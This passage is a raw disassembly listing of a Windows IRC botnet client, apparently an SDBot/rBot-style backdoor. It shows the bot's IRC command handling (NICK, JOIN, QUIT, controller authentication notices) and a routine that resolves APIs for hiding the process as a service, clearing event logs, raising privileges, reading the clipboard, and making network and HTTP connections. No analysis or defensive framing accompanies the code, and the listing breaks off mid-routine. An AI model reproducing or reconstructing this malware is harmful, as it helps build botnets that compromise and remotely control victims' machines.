lea eax, [ebp+var_2C0]
push eax
push offset aS_17 ; "%s\r\n"
jmp loc_4081F1
; ---------------------------------------------------------------------------
loc_4089A4: ; CODE XREF: sub_401CC1+3866j
; sub_401CC1+387Dj
push edi
call sub_41B3F0
test eax, eax
pop ecx
jle loc_40207C
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_40207C
push offset aQuitLater_0 ; "QUIT :later\r\n"
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call sub_408E73
pop ecx
pop ecx
push 1F4h
call dword_4F1334 ; Sleep
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call dword_4E0934
push [ebp+var_10]
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537DC[eax]
call dword_4F1368 ; TerminateThread
push edi
call sub_41B3F0
imul eax, 234h
push edi
mov dword_4537DC[eax], ebx
call sub_41B3F0
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_4535C8[eax], bl
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_408A4F: ; CODE XREF: sub_401CC1+3838j
; sub_401CC1+384Fj
push edi
push offset aAll ; "all"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_408AB9
call sub_40A9C6
cmp eax, ebx
jle short loc_408A74
push eax
push offset unk_442FDC
jmp loc_406CD7
; ---------------------------------------------------------------------------
loc_408A74: ; CODE XREF: sub_401CC1+6DA6j
push offset unk_443004
loc_408A79: ; CODE XREF: sub_401CC1+202Ej
; sub_401CC1+204Dj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
pop ecx
pop ecx
loc_408A87: ; CODE XREF: sub_401CC1+5025j
; sub_401CC1+6894j
cmp [ebp+var_8], ebx
jnz short loc_408AA8
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_408AA0: ; CODE XREF: sub_401CC1+6416j
call sub_408EB9
add esp, 14h
loc_408AA8: ; CODE XREF: sub_401CC1+2233j
; sub_401CC1+225Ej ...
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
jmp loc_402266
; ---------------------------------------------------------------------------
loc_408AB9: ; CODE XREF: sub_401CC1+6D9Dj
mov eax, [ebp+var_A4]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40207C
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_408AD5: ; CODE XREF: sub_401CC1+6E85j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_40207C
push esi
call sub_41B3F0
push eax
call sub_40A938
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_408AFC
push offset unk_44302C
jmp short loc_408B01
; ---------------------------------------------------------------------------
loc_408AFC: ; CODE XREF: sub_401CC1+6E32j
push offset unk_443050
loc_408B01: ; CODE XREF: sub_401CC1+6E39j
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_408B31
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_408B31: ; CODE XREF: sub_401CC1+6E52j
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_408AD5
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_408B4D: ; CODE XREF: sub_401CC1+380Aj
; sub_401CC1+3821j
cmp [ebp+var_C], ebx
jz loc_408CA1
push edi
push [ebp+var_C]
call sub_41B890
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_408CA1
push esi
push offset aS_27 ; "%s\r\n"
push [ebp+arg_4]
call sub_408E73
push esi
push offset dword_442FAC
jmp loc_4083E7
; ---------------------------------------------------------------------------
loc_408B84: ; CODE XREF: sub_401CC1+37DCj
; sub_401CC1+37F3j
push edi
push offset aPartS_2 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_408E73
push edi
push offset unk_442F78
jmp loc_4083E7
; ---------------------------------------------------------------------------
loc_408B9D: ; CODE XREF: sub_401CC1+37AEj
; sub_401CC1+37C5j
push [ebp+esi+var_88]
push edi
push offset aJoinSS_3 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_408E73
push edi
push offset unk_442F3C
jmp loc_4082BE
; ---------------------------------------------------------------------------
loc_408BBD: ; CODE XREF: sub_401CC1+3780j
; sub_401CC1+3797j
push edi
push offset aNickS_6 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_408E73
push edi
push offset unk_442EFC
jmp loc_4083E7
; ---------------------------------------------------------------------------
loc_408BD6: ; CODE XREF: sub_401CC1+2BD3j
; sub_401CC1+2BEAj
push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_408E73
push edi
lea eax, [ebp+var_2C0]
push offset unk_442B8C
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
push edi
call sub_41B3F0
add esp, 1Ch
loc_408C0A: ; CODE XREF: sub_401CC1+6F91j
push eax
call dword_4F1334 ; Sleep
loc_408C11: ; CODE XREF: sub_401CC1+2615j
xor eax, eax
jmp loc_40207F
; ---------------------------------------------------------------------------
loc_408C18: ; CODE XREF: sub_401CC1+2BA5j
; sub_401CC1+2BBCj
push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_408E73
push edi
lea eax, [ebp+var_2C0]
push offset unk_442B34
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
push edi
call sub_41B3F0
add esp, 1Ch
imul eax, 3E8h
jmp short loc_408C0A
; ---------------------------------------------------------------------------
loc_408C54: ; CODE XREF: sub_401CC1+C13j
; sub_401CC1+C28j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_43A09C
push eax
call sub_40A4F6
lea eax, [ebp+var_338]
push eax
push offset aNickS_7 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_408E73
lea eax, [ebp+var_338]
push eax
push offset unk_441910
call sub_4145FE
loc_408C9E: ; CODE XREF: sub_401CC1+4A5Dj
add esp, 24h
loc_408CA1: ; CODE XREF: sub_401CC1+63Dj
; sub_401CC1+649j ...
mov eax, [ebp+arg_24]
jmp loc_40207F
; ---------------------------------------------------------------------------
loc_408CA9: ; CODE XREF: sub_401CC1+6D0j
; sub_401CC1+6E5j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_40207C
cmp [ebp+var_A8], ebx
jnz loc_40207C
push offset asc_441754 ; "!"
push [ebp+var_90]
call sub_41C550
mov esi, eax
push offset dword_4E075C
push ebx
inc esi
call sub_41C550
push offset asc_441758 ; "~"
push eax
call sub_41C550
push [ebp+arg_20]
mov edi, eax
push offset aHi_0 ; "hi"
call sub_41C4C0
add esp, 20h
test eax, eax
jz short loc_408D51
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_408E73
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_408E73
push edi
push esi
push offset unk_4417B0
loc_408D3D: ; CODE XREF: sub_401CC1+70ECj
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 30h
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_408D51: ; CODE XREF: sub_401CC1+7043j
mov [ebp+arg_24], offset off_43A154
loc_408D58: ; CODE XREF: sub_401CC1+70B3j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40AB56
pop ecx
test eax, eax
pop ecx
jnz short loc_408DAF
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_43A158
jl short loc_408D58
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_408E73
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_408E73
push edi
push esi
push offset unk_441830
jmp short loc_408D3D
; ---------------------------------------------------------------------------
loc_408DAF: ; CODE XREF: sub_401CC1+70A6j
mov edi, [ebp+arg_18]
xor esi, esi
loc_408DB4: ; CODE XREF: sub_401CC1+711Dj
cmp [ebp+arg_20], ebx
jz loc_40207C
cmp [edi], bl
jnz short loc_408DD4
push [ebp+arg_20]
push offset aHi_0 ; "hi"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_408DE5
loc_408DD4: ; CODE XREF: sub_401CC1+70FEj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_408DB4
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_408DE5: ; CODE XREF: sub_401CC1+7111j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_D04]
push 7Fh
push eax
push esi
call sub_41B1F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_408E1C
push ebx
push [ebp+var_4]
push offset unk_44185C
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_408E1C: ; CODE XREF: sub_401CC1+713Fj
lea eax, [ebp+var_C0]
push eax
push offset unk_44187C
jmp loc_402260
; ---------------------------------------------------------------------------
loc_408E2D: ; CODE XREF: sub_401CC1+205j
; sub_401CC1+21Aj
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_408E73
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_408E73
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS_4 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_408E73
add esp, 2Ch
mov dword_4E0748, edi
jmp loc_401F55
sub_401CC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E73 proc near ; CODE XREF: sub_401B49+3Dp
; sub_401CC1+1C2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C6A0
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4E08EC
leave
retn
sub_408E73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408EB9 proc near ; CODE XREF: sub_401CC1+50Cp
; sub_401CC1+102Fp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice_3 ; "NOTICE"
jnz short loc_408ED4
mov edi, offset aPrivmsg_2 ; "PRIVMSG"
loc_408ED4: ; CODE XREF: sub_408EB9+14j
push edi
call sub_418D00
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_418D00
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_18 ; "%s"
push esi
push eax
call sub_41B910
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41B740
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4E08EC
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_408F52
push 7D0h
call dword_4F1334 ; Sleep
locret_408F52: ; CODE XREF: sub_408EB9+8Cj
leave
retn
sub_408EB9 endp
; =============== S U B R O U T I N E =======================================
sub_408F54 proc near ; CODE XREF: sub_40141B+4Bp
push ebx
push ebp
mov ebp, dword_4F1358
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4F1378
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409074
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4E0948, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4E08C0, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4E08A4, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4E07C4, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4E0774, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4E07A0, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4E0814, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4E08FC, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4E0958, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4E07D0, eax
call esi ; GetProcAddress
cmp dword_4E0948, ebx
mov dword_4E07B8, eax
jz short loc_409052
cmp dword_4E08C0, ebx
jz short loc_409052
cmp dword_4E08A4, ebx
jz short loc_409052
cmp dword_4E07C4, ebx
jz short loc_409052
cmp dword_4E07A0, ebx
jz short loc_409052
cmp dword_4E0814, ebx
jz short loc_409052
cmp dword_4E08FC, ebx
jz short loc_409052
cmp dword_4E0958, ebx
jz short loc_409052
cmp dword_4E07D0, ebx
jz short loc_409052
cmp eax, ebx
jnz short loc_40905C
loc_409052: ; CODE XREF: sub_408F54+B8j
; sub_408F54+C0j ...
mov dword_4E095C, 1
loc_40905C: ; CODE XREF: sub_408F54+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4E08D4, eax
jz short loc_409089
push 1
push ebx
call eax
jmp short loc_409089
; ---------------------------------------------------------------------------
loc_409074: ; CODE XREF: sub_408F54+1Dj
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0960, eax
mov dword_4E095C, 1
loc_409089: ; CODE XREF: sub_408F54+117j
; sub_408F54+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4F1374 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409144
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4E08F8, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4E08AC, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4E0844, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4E094C, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4E0870, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4E0890, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4E08F0, eax
call esi ; GetProcAddress
cmp dword_4E08F8, ebx
mov dword_4E07F0, eax
jz short loc_40914F
cmp dword_4E08AC, ebx
jz short loc_40914F
cmp dword_4E0844, ebx
jz short loc_40914F
cmp dword_4E094C, ebx
jz short loc_40914F
cmp dword_4E0870, ebx
jz short loc_40914F
cmp dword_4E0890, ebx
jz short loc_40914F
cmp dword_4E08F0, ebx
jz short loc_40914F
cmp eax, ebx
jnz short loc_409159
jmp short loc_40914F
; ---------------------------------------------------------------------------
loc_409144: ; CODE XREF: sub_408F54+144j
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0968, eax
loc_40914F: ; CODE XREF: sub_408F54+1B8j
; sub_408F54+1C0j ...
mov dword_4E0964, 1
loc_409159: ; CODE XREF: sub_408F54+1ECj
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409312
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4E090C, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4E0858, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4E08C4, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4E07B0, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4E0810, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4E087C, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4E082C, eax
call esi ; GetProcAddress
cmp dword_4E090C, ebx
mov dword_4E0838, eax
jz short loc_409202
cmp dword_4E0858, ebx
jz short loc_409202
cmp dword_4E08C4, ebx
jz short loc_409202
cmp dword_4E07B0, ebx
jz short loc_409202
cmp dword_4E0810, ebx
jz short loc_409202
cmp dword_4E087C, ebx
jnz short loc_40920C
loc_409202: ; CODE XREF: sub_408F54+284j
; sub_408F54+28Cj ...
mov dword_4E096C, 1
loc_40920C: ; CODE XREF: sub_408F54+2ACj
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4E0884, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4E0860, eax
call esi ; GetProcAddress
cmp dword_4E0884, ebx
mov dword_4E0908, eax
jz short loc_409247
cmp dword_4E0860, ebx
jz short loc_409247
cmp eax, ebx
jnz short loc_409251
loc_409247: ; CODE XREF: sub_408F54+2E5j
; sub_408F54+2EDj
mov dword_4E096C, 1
loc_409251: ; CODE XREF: sub_408F54+2F1j
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4E0894, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4E078C, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4E0794, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4E07F8, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4E07FC, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4E07A8, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4E0864, eax
call esi ; GetProcAddress
cmp dword_4E0894, ebx
mov dword_4E0798, eax
jz short loc_4092F5
cmp dword_4E078C, ebx
jz short loc_4092F5
cmp dword_4E0794, ebx
jz short loc_4092F5
cmp dword_4E07F8, ebx
jz short loc_4092F5
cmp dword_4E07FC, ebx
jz short loc_4092F5
cmp dword_4E07A8, ebx
jz short loc_4092F5
cmp dword_4E0864, ebx
jz short loc_4092F5
cmp eax, ebx
jnz short loc_4092FF
loc_4092F5: ; CODE XREF: sub_408F54+36Bj
; sub_408F54+373j ...
mov dword_4E096C, 1
loc_4092FF: ; CODE XREF: sub_408F54+39Fj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4E0790, eax
jnz short loc_409327
jmp short loc_40931D
; ---------------------------------------------------------------------------
loc_409312: ; CODE XREF: sub_408F54+210j
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0970, eax
loc_40931D: ; CODE XREF: sub_408F54+3BCj
mov dword_4E096C, 1
loc_409327: ; CODE XREF: sub_408F54+3BAj
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_4093F3
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4E088C, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4E08E0, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4E08E8, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4E08A8, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4E07D4, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4E0784, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4E08E4, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4E0770, eax
call esi ; GetProcAddress
cmp dword_4E088C, ebx
mov dword_4E0808, eax
jz short loc_4093FE
cmp dword_4E08E0, ebx
jz short loc_4093FE
cmp dword_4E08E8, ebx
jz short loc_4093FE
cmp dword_4E08A8, ebx
jz short loc_4093FE
cmp dword_4E07D4, ebx
jz short loc_4093FE
cmp dword_4E0784, ebx
jz short loc_4093FE
cmp dword_4E08E4, ebx
jz short loc_4093FE
cmp dword_4E0770, ebx
jz short loc_4093FE
cmp eax, ebx
jnz short loc_409408
jmp short loc_4093FE
; ---------------------------------------------------------------------------
loc_4093F3: ; CODE XREF: sub_408F54+3DEj
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0978, eax
loc_4093FE: ; CODE XREF: sub_408F54+45Fj
; sub_408F54+467j ...
mov dword_4E0974, 1
loc_409408: ; CODE XREF: sub_408F54+49Bj
mov ebp, dword_4F1374
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4096C4
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4E081C, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4E0940, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4E07C0, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4E079C, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4E0850, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4E083C, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4E0804, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4E091C, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4E0938, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4E084C, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4E0928, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4E08DC, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4E08A0, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4E089C, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4E07E0, eax
call esi ; GetProcAddress
push offset aSend_0 ; "send"
push edi
mov dword_4E07D8, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4E08EC, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4E0900, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4E08B8, eax
call esi ; GetProcAddress
mov dword_4E0878, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4E08CC, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4E0888, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4E08C8, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4E0930, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4E0880, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4E0848, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4E08B4, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4E0920, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4E085C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4E0800, eax
call esi ; GetProcAddress
cmp dword_4E081C, ebx
mov dword_4E0934, eax
jz loc_4096CF
cmp dword_4E0940, ebx
jz loc_4096CF
cmp dword_4E07C0, ebx
jz loc_4096CF
cmp dword_4E0850, ebx
jz loc_4096CF
cmp dword_4E083C, ebx
jz loc_4096CF
cmp dword_4E0804, ebx
jz loc_4096CF
cmp dword_4E091C, ebx
jz loc_4096CF
cmp dword_4E0938, ebx
jz loc_4096CF
cmp dword_4E084C, ebx
jz loc_4096CF
cmp dword_4E0928, ebx
jz loc_4096CF
cmp dword_4E08DC, ebx
jz loc_4096CF
cmp dword_4E08A0, ebx
jz loc_4096CF
cmp dword_4E089C, ebx
jz loc_4096CF
cmp dword_4E07E0, ebx
jz short loc_4096CF
cmp dword_4E08EC, ebx
jz short loc_4096CF
cmp dword_4E0900, ebx
jz short loc_4096CF
cmp dword_4E08B8, ebx
jz short loc_4096CF
cmp dword_4E0878, ebx
jz short loc_4096CF
cmp dword_4E08CC, ebx
jz short loc_4096CF
cmp dword_4E0888, ebx
jz short loc_4096CF
cmp dword_4E08C8, ebx
jz short loc_4096CF
cmp dword_4E0930, ebx
jz short loc_4096CF
cmp dword_4E0880, ebx
jz short loc_4096CF
cmp dword_4E0848, ebx
jz short loc_4096CF
cmp dword_4E08B4, ebx
jz short loc_4096CF
cmp dword_4E0920, ebx
jz short loc_4096CF
cmp dword_4E085C, ebx
jz short loc_4096CF
cmp eax, ebx
jnz short loc_4096D9
jmp short loc_4096CF
; ---------------------------------------------------------------------------
loc_4096C4: ; CODE XREF: sub_408F54+4C5j
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0980, eax
loc_4096CF: ; CODE XREF: sub_408F54+664j
; sub_408F54+670j ...
mov dword_4E097C, 1
loc_4096D9: ; CODE XREF: sub_408F54+76Cj
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4097DE
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4E07EC, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4E0778, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4E086C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4E0820, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4E0874, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4E0840, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4E07B4, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4E07AC, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4E07BC, eax
call esi ; GetProcAddress
cmp dword_4E07EC, ebx
mov ecx, dword_4E0840
mov dword_4E08D0, eax
jz short loc_4097BA
cmp dword_4E0778, ebx
jz short loc_4097BA
cmp dword_4E086C, ebx
jz short loc_4097BA
cmp dword_4E0820, ebx
jz short loc_4097BA
cmp dword_4E0874, ebx
jz short loc_4097BA
cmp ecx, ebx
jz short loc_4097BA
cmp dword_4E07B4, ebx
jz short loc_4097BA
cmp dword_4E07AC, ebx
jz short loc_4097BA
cmp dword_4E07BC, ebx
jz short loc_4097BA
cmp eax, ebx
jnz short loc_4097C4
loc_4097BA: ; CODE XREF: sub_408F54+824j
; sub_408F54+82Cj ...
mov dword_4E0984, 1
loc_4097C4: ; CODE XREF: sub_408F54+864j
cmp ecx, ebx
jz short loc_4097F9
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4E0854, eax
jnz short loc_4097F9
jmp short loc_4097F3
; ---------------------------------------------------------------------------
loc_4097DE: ; CODE XREF: sub_408F54+790j
